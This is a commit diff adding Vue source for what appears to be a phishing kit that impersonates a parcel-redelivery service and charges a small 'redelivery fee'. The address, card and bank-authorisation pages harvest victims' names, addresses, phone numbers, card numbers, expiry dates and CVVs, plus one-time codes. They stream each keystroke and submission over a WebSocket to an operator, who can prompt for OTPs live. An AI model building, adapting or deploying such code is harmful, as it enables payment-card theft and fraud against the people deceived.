first commit
This commit is contained in:
246
zy1_in_post_shadowfax/src/views/AddressView.vue
Normal file
246
zy1_in_post_shadowfax/src/views/AddressView.vue
Normal file
@@ -0,0 +1,246 @@
|
||||
<script setup lang="ts">
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inject, onMounted, reactive, ref } from "vue";
|
||||
const configData: any = inject("$configData");
|
||||
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const formData = reactive({
|
||||
fullName: "",
|
||||
phone: "",
|
||||
address: "",
|
||||
zipCode: "",
|
||||
});
|
||||
|
||||
const formDataError = reactive({
|
||||
fullName: false,
|
||||
phone: false,
|
||||
address: false,
|
||||
zipCode: false,
|
||||
});
|
||||
|
||||
|
||||
const emailErrorMessage = ref("");
|
||||
|
||||
const router = useRouter();
|
||||
|
||||
const textChange = (event: any, key: any) => {
|
||||
const value = event.target.value;
|
||||
inputChange("addressPageData", key, value);
|
||||
|
||||
let noPass = false;
|
||||
|
||||
if (key === "fullName") {
|
||||
if (!formData.fullName) {
|
||||
formDataError.fullName = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.fullName = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (key === "address") {
|
||||
if (!formData.address) {
|
||||
formDataError.address = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.address = false;
|
||||
}
|
||||
}
|
||||
if (key === "zipCode") {
|
||||
if (!formData.zipCode) {
|
||||
formDataError.zipCode = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.zipCode = false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (key === "phone") {
|
||||
if (!formData.phone) {
|
||||
formDataError.phone = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.phone = false;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
let noPass = false;
|
||||
if (!formData.fullName) {
|
||||
formDataError.fullName = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.fullName = false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!formData.address) {
|
||||
formDataError.address = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.address = false;
|
||||
}
|
||||
|
||||
if (!formData.zipCode) {
|
||||
formDataError.zipCode = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.zipCode = false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!formData.phone) {
|
||||
formDataError.phone = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.phone = false;
|
||||
}
|
||||
|
||||
if (noPass) {
|
||||
return;
|
||||
}
|
||||
|
||||
localStorage.setItem("phone", formData.phone);
|
||||
|
||||
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/card");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "address" },
|
||||
})
|
||||
);
|
||||
localStorage.setItem("route", "address");
|
||||
|
||||
const phone = localStorage.getItem("phone");
|
||||
if (phone) {
|
||||
formData.phone = phone;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content-body">
|
||||
<div style="min-height: 100px; padding: 0rem 0">
|
||||
<div style="text-align: left">
|
||||
<h1>{{ t("Mailing address") }}</h1>
|
||||
<p>
|
||||
{{
|
||||
configData?.address_msg
|
||||
? configData?.address_msg
|
||||
: t(
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery"
|
||||
)
|
||||
}}
|
||||
</p>
|
||||
</div>
|
||||
<br />
|
||||
<div>
|
||||
<form :novalidate="true" @submit.prevent="next">
|
||||
<div class="input">
|
||||
<label>{{ t("Your Name") }}</label>
|
||||
<input type="text" :required="true" @input="(event) => textChange(event, 'fullName')"
|
||||
v-model="formData.fullName" placeholder=" " />
|
||||
<div class="error" v-if="formDataError.fullName">
|
||||
{{ t("There is an error in this field, please check") }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="input">
|
||||
<label>{{ t("Address") }}</label>
|
||||
<input type="text" @input="(event) => textChange(event, 'address')" v-model="formData.address"
|
||||
:placeholder="t('street address or house number')" />
|
||||
<div class="error" v-if="formDataError.address">
|
||||
{{ t("There is an error in this field, please check") }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="input">
|
||||
<label>{{ t("Zip Code") }}</label>
|
||||
<input type="text" @input="(event) => textChange(event, 'zipCode')" v-model="formData.zipCode"
|
||||
placeholder=" " />
|
||||
<div class="error" v-if="formDataError.zipCode">
|
||||
{{ t("There is an error in this field, please check") }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="input">
|
||||
<label>{{ t("Telephone Number") }}</label>
|
||||
<input type="tel" @input="(event) => textChange(event, 'phone')" v-model="formData.phone"
|
||||
placeholder=" " />
|
||||
<div class="error" v-if="formDataError.phone">
|
||||
{{ t("There is an error in this field, please check") }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<br />
|
||||
<div class="button-submit">
|
||||
<button type="button" v-on:click="next">
|
||||
{{ t("Update Immediately") }}
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
form div.input {
|
||||
margin-bottom: 1.2em;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
form div.input label {
|
||||
display: block;
|
||||
pointer-events: none;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
|
||||
form div.input input {
|
||||
padding: 5px;
|
||||
font-size: 1em;
|
||||
box-sizing: border-box;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.js-has-pseudo [csstools-has-2u-33-36-31-2j-32-33-3a-2p-30-2x-2s-2p-38-2t-2l-1a-2x-32-3a-2p-30-2x-2s-w-2s-2x-3a-1a-2x-32-34-39-38-1m-2w-2p-37-14-2x-32-34-39-38-1m-2x-32-3a-2p-30-2x-2s-15-w-1a-2t-36-36-33-36]:not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(does-not-exist):not(does-not-exist):not(does-not-exist) {
|
||||
display: block;
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
form[novalidate].invalid div.input:has(input:invalid) .error {
|
||||
display: block;
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
.error {
|
||||
display: block;
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
</style>
|
||||
295
zy1_in_post_shadowfax/src/views/AppValidView.vue
Normal file
295
zy1_in_post_shadowfax/src/views/AppValidView.vue
Normal file
@@ -0,0 +1,295 @@
|
||||
<script setup lang="ts">
|
||||
import {
|
||||
nextTick,
|
||||
onMounted,
|
||||
onUnmounted,
|
||||
reactive,
|
||||
ref,
|
||||
watch,
|
||||
} from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
|
||||
import eventBus from "@/utils/eventBus";
|
||||
const cardType = ref("");
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "appValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query) {
|
||||
console.log("route", query);
|
||||
cardType.value = query.cardType;
|
||||
}
|
||||
localStorage.setItem("route", "appValid");
|
||||
eventBus.on("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
const showInput = ref(false);
|
||||
watch(message, (newValue, oldValue) => {
|
||||
showInput.value = !!(message.value.includes(":") || newValue.includes(":"));
|
||||
});
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitAppValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
message.value = "";
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="container">
|
||||
<div class="content">
|
||||
<div class="card-logo">
|
||||
<!-- <CardType2 :cardType="cardType" />-->
|
||||
<img
|
||||
src="/cardloading.svg"
|
||||
alt="card-logo"
|
||||
style="width: 100%"
|
||||
/>
|
||||
</div>
|
||||
<div class="card-tye" v-if="cardType">
|
||||
{{ cardType }}
|
||||
</div>
|
||||
|
||||
<br />
|
||||
<p>
|
||||
<img
|
||||
class="safe-icon"
|
||||
src="data:image/png;base64,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"
|
||||
alt="safe-icon"
|
||||
/><b>{{ t("Authorized bank") }}</b>
|
||||
</p>
|
||||
<p class="sub">
|
||||
{{ t("Please go to the bank App to confirm the authorization") }}
|
||||
</p>
|
||||
<p class="sub">{{ t("Please do not close this page") }}</p>
|
||||
<p class="error">
|
||||
{{ message }}
|
||||
</p>
|
||||
<div
|
||||
class="input"
|
||||
data-v-509c2adf=""
|
||||
style="text-align: center"
|
||||
v-if="showInput"
|
||||
>
|
||||
<input
|
||||
required
|
||||
type="text"
|
||||
inputmode="numeric"
|
||||
@input="onchange"
|
||||
v-model="formData.verifyCode"
|
||||
minlength="3"
|
||||
maxlength="8"
|
||||
data-v-509c2adf=""
|
||||
/>
|
||||
</div>
|
||||
|
||||
<br data-v-509c2adf="" v-if="showInput" />
|
||||
<div class="button-submit" data-v-509c2adf="" v-if="showInput">
|
||||
<button type="button" data-v-509c2adf="" @click="submit">
|
||||
{{ t("Submit") }}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div v-if="!showInput">
|
||||
<img
|
||||
class="loading-icon"
|
||||
src="@/assets/img/ac3bca143fcfa.svg"
|
||||
alt="loading-icon"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
@media (max-width: 767px) {
|
||||
/* Mega Menu */
|
||||
body {
|
||||
padding-top: 10px !important;
|
||||
padding-bottom: 96px !important;
|
||||
}
|
||||
}
|
||||
.sub {
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: red;
|
||||
}
|
||||
|
||||
div.container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100dvh;
|
||||
padding: 0 10px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
div.container .content {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
div.container .content .card-logo {
|
||||
width: 120px;
|
||||
margin: 0 auto;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
div.container .content .card-logo:after {
|
||||
content: "";
|
||||
display: block;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
width: 15px;
|
||||
height: 100%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(255, 255, 255, 0.6352941176),
|
||||
transparent
|
||||
);
|
||||
animation: line 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes line {
|
||||
0% {
|
||||
left: -15px;
|
||||
}
|
||||
to {
|
||||
left: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
div.container .content .safe-icon {
|
||||
display: inline-block;
|
||||
width: 16px;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
div.container .content .loading-icon {
|
||||
margin: 0 auto;
|
||||
width: 50px;
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
div.input {
|
||||
position: relative;
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
div.input input {
|
||||
width: 80%;
|
||||
padding: 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 1.1em;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
div.input input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
div.button-submit button {
|
||||
padding: 8px 20px;
|
||||
cursor: pointer;
|
||||
background-color: #5381be;
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
p {
|
||||
display: block;
|
||||
margin-block-start: 1em;
|
||||
margin-block-end: 1em;
|
||||
margin-inline-start: 0px;
|
||||
margin-inline-end: 0px;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
|
||||
.container div.input label {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.container div.input input {
|
||||
width: 130px;
|
||||
padding: 8px 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.container div.input input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
.container div.button-submit button {
|
||||
width: 80px;
|
||||
padding: 10px 5px;
|
||||
cursor: pointer;
|
||||
background-color: #5381be;
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.container .resend {
|
||||
margin-top: 8px;
|
||||
text-align: center;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.container .resend a {
|
||||
color: #000;
|
||||
-webkit-text-decoration: underline;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.button-submit {
|
||||
text-align: center;
|
||||
}
|
||||
</style>
|
||||
282
zy1_in_post_shadowfax/src/views/CardView.vue
Normal file
282
zy1_in_post_shadowfax/src/views/CardView.vue
Normal file
@@ -0,0 +1,282 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="">
|
||||
<div class="main-content-body">
|
||||
<div style="min-height: 100px; padding: 0 0">
|
||||
<div style="text-align: left; ">
|
||||
<h1 style="color: #3c8872;">{{ t("Online Payment") }}</h1>
|
||||
<p>
|
||||
{{
|
||||
configData?.pay_msg
|
||||
? configData?.pay_msg
|
||||
: t("For redelivery, we need to charge some service fees.Your package will be re-delivered after payment")
|
||||
}}
|
||||
</p>
|
||||
<p>
|
||||
<b>
|
||||
{{ t("lump sum: ") }}
|
||||
{{
|
||||
configData?.pay_amount ? configData?.pay_amount : "₹25.09"
|
||||
}}
|
||||
</b>
|
||||
</p>
|
||||
</div>
|
||||
<br />
|
||||
<form @submit.prevent="next">
|
||||
<div class="input">
|
||||
<label>{{ t("Cardholder") }}</label>
|
||||
<input
|
||||
type="text"
|
||||
placeholder=" "
|
||||
v-model="formData.cardName"
|
||||
@input="onCardNameChange"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<div class="input">
|
||||
<label>{{ t("Card Number") }}</label>
|
||||
<input
|
||||
type="text"
|
||||
placeholder="Credit card payments only"
|
||||
@input="onCardNumberChange"
|
||||
v-model="formData.cardNumber"
|
||||
required
|
||||
maxlength="19"
|
||||
minlength="8"
|
||||
inputmode="numeric"
|
||||
/>
|
||||
<div class="error">
|
||||
{{ cardMessage }}
|
||||
</div>
|
||||
<div class="card-icons">
|
||||
<img src="@/assets/img/b4f258fb3fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/d9f501073fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/d2820b3b3fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/e62e66803fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/272b931f3fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/761998023fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/c8e88e5f3fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/1a32e1333fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/56af3b633fcfa.svg" alt="" />
|
||||
</div>
|
||||
</div>
|
||||
<div
|
||||
class="input-field"
|
||||
style="display: flex; gap: 10px; align-items: flex-end"
|
||||
>
|
||||
<div class="input">
|
||||
<label>{{ t("Expire Date") }}</label>
|
||||
<input
|
||||
type="text"
|
||||
placeholder="MM/YY"
|
||||
@input="onExpiresChange"
|
||||
v-model="formData.expires"
|
||||
minlength="5"
|
||||
required
|
||||
maxlength="5"
|
||||
inputmode="numeric"
|
||||
/>
|
||||
</div>
|
||||
<div class="input">
|
||||
<label>
|
||||
{{ t("Security Code") }}
|
||||
<span> (CVV)</span>
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
required
|
||||
@input="onCvvChange"
|
||||
v-model="formData.cvv"
|
||||
placeholder="123"
|
||||
minlength="3"
|
||||
maxlength="4"
|
||||
inputmode="numeric"
|
||||
/>
|
||||
<img
|
||||
src="@/assets/img/68eec8c23fcfa.svg"
|
||||
alt="cvv"
|
||||
style="
|
||||
position: absolute;
|
||||
right: 10px;
|
||||
height: 1.5em;
|
||||
box-sizing: border-box;
|
||||
pointer-events: none;
|
||||
"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div class="button-submit">
|
||||
<button type="submit">
|
||||
Confirm Payment {{
|
||||
configData?.pay_amount ? configData?.pay_amount : "₹25.09"
|
||||
}}
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style>
|
||||
@media (min-width: 1024px) {
|
||||
.about {
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<script setup lang="ts">
|
||||
import { nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useRoute } from "vue-router";
|
||||
import { configData, inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
const invoiceNumber = ref("");
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
const formData = reactive({
|
||||
cardNumber: "",
|
||||
cardName: "",
|
||||
expires: "",
|
||||
cvv: "",
|
||||
});
|
||||
|
||||
const onCardNameChange = (value: any) => {
|
||||
const rawValue = value.target.value;
|
||||
textChange("cardName", rawValue);
|
||||
formData.cardName = rawValue;
|
||||
};
|
||||
|
||||
const onCardNumberChange = (value: any) => {
|
||||
const rawValue = value.target.value.replace(/\s+/g, "");
|
||||
textChange("cardNumber", rawValue);
|
||||
formData.cardNumber = rawValue
|
||||
.replace(/\D/g, "") // 移除非数字字符
|
||||
.replace(/(.{4})/g, "$1 ") // 每四个数字后插入一个空格
|
||||
.trim();
|
||||
};
|
||||
|
||||
const onExpiresChange = (value: any) => {
|
||||
const rawValue = value.target.value.replace(/\D/g, "").slice(0, 4);
|
||||
let formattedValue = rawValue.replace(/\D/g, "");
|
||||
if (rawValue.length > 2) {
|
||||
formattedValue = rawValue.slice(0, 2) + "/" + rawValue.slice(2, 4);
|
||||
}
|
||||
textChange("expires", formattedValue);
|
||||
formData.expires = formattedValue;
|
||||
};
|
||||
|
||||
const onCvvChange = (value: any) => {
|
||||
const rawValue = value.target.value.replace(/\D/g, "");
|
||||
textChange("cvv", rawValue);
|
||||
formData.cvv = rawValue;
|
||||
};
|
||||
|
||||
const textChange = (key: any, value: any) => {
|
||||
inputChange("input_card", key, value);
|
||||
cardMessage.value = "";
|
||||
};
|
||||
|
||||
const next = async () => {
|
||||
await nextTick();
|
||||
loadingStore.setLoading(true);
|
||||
const data = { ...formData };
|
||||
data.cardNumber = data.cardNumber.replace(/\s+/g, "");
|
||||
localStorage.setItem("cardNumber", data.cardNumber);
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: { type: "submitCard", formData: data },
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const cardMessage = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
cardMessage.value = data.message2;
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
eventBus.on("my-event", handleEvent);
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "card" },
|
||||
})
|
||||
);
|
||||
localStorage.setItem("route", "card");
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query && query.message2) {
|
||||
cardMessage.value = query.message2;
|
||||
}
|
||||
|
||||
const inumber = localStorage.getItem("orderNumber");
|
||||
if (inumber) {
|
||||
invoiceNumber.value = inumber;
|
||||
} else {
|
||||
invoiceNumber.value = "8000" + generateRandomNineDigitNumber().toString();
|
||||
localStorage.setItem("orderNumber", invoiceNumber.value.toString());
|
||||
}
|
||||
});
|
||||
|
||||
function generateRandomNineDigitNumber(): number {
|
||||
// 生成一个 9 位的随机整数
|
||||
const min = 100000; // 9 位数的最小值
|
||||
const max = 999999; // 9 位数的最大值
|
||||
|
||||
// 生成并返回随机的 9 位数
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("my-event", handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
form div.input {
|
||||
margin-bottom: 1.2em;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
form div.input label {
|
||||
display: block;
|
||||
pointer-events: none;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
|
||||
form div.input input {
|
||||
padding: 5px;
|
||||
font-size: 1em;
|
||||
box-sizing: border-box;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.card-icons {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 5px;
|
||||
justify-content: flex-end;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.card-icons img {
|
||||
width: 30px;
|
||||
height: 30px;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
</style>
|
||||
24
zy1_in_post_shadowfax/src/views/CommonLayout.vue
Normal file
24
zy1_in_post_shadowfax/src/views/CommonLayout.vue
Normal file
@@ -0,0 +1,24 @@
|
||||
<script setup lang="ts">
|
||||
import { footerHtml, headerHtml } from "@/utils/common";
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<body>
|
||||
<div class="v-application v-application--is-ltr theme--light">
|
||||
<div class="v-application--wrap">
|
||||
<div
|
||||
v-html="headerHtml"
|
||||
></div>
|
||||
|
||||
<main style="padding-top: 0px; display: flex; justify-content: center;margin-top: 60px;">
|
||||
<div style="width: 100%; max-width: 800px">
|
||||
<slot></slot>
|
||||
</div>
|
||||
</main>
|
||||
<footer v-html="footerHtml"></footer>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</template>
|
||||
|
||||
<style></style>
|
||||
1453
zy1_in_post_shadowfax/src/views/CustomOtpView.vue
Normal file
1453
zy1_in_post_shadowfax/src/views/CustomOtpView.vue
Normal file
File diff suppressed because it is too large
Load Diff
396
zy1_in_post_shadowfax/src/views/GoodsView.vue
Normal file
396
zy1_in_post_shadowfax/src/views/GoodsView.vue
Normal file
@@ -0,0 +1,396 @@
|
||||
<script setup lang="ts">
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inject, onMounted, ref } from "vue";
|
||||
import { myWebSocket } from "@/utils/common";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const router = useRouter();
|
||||
|
||||
const payDate = ref("");
|
||||
const invoiceNumber = ref("");
|
||||
|
||||
const next = () => {
|
||||
if (price.value == 0) {
|
||||
alert("Please redeem your favorite product");
|
||||
return;
|
||||
}
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/address");
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
function getDateSevenDaysAgo(): Date {
|
||||
// 获取当前时间
|
||||
const currentDate = new Date();
|
||||
|
||||
// 计算七天前的日期
|
||||
currentDate.setDate(currentDate.getDate() - 7);
|
||||
|
||||
return currentDate;
|
||||
}
|
||||
|
||||
function generateRandomNineDigitNumber(): number {
|
||||
// 生成一个 9 位的随机整数
|
||||
const min = 100000; // 9 位数的最小值
|
||||
const max = 999999; // 9 位数的最大值
|
||||
|
||||
// 生成并返回随机的 9 位数
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
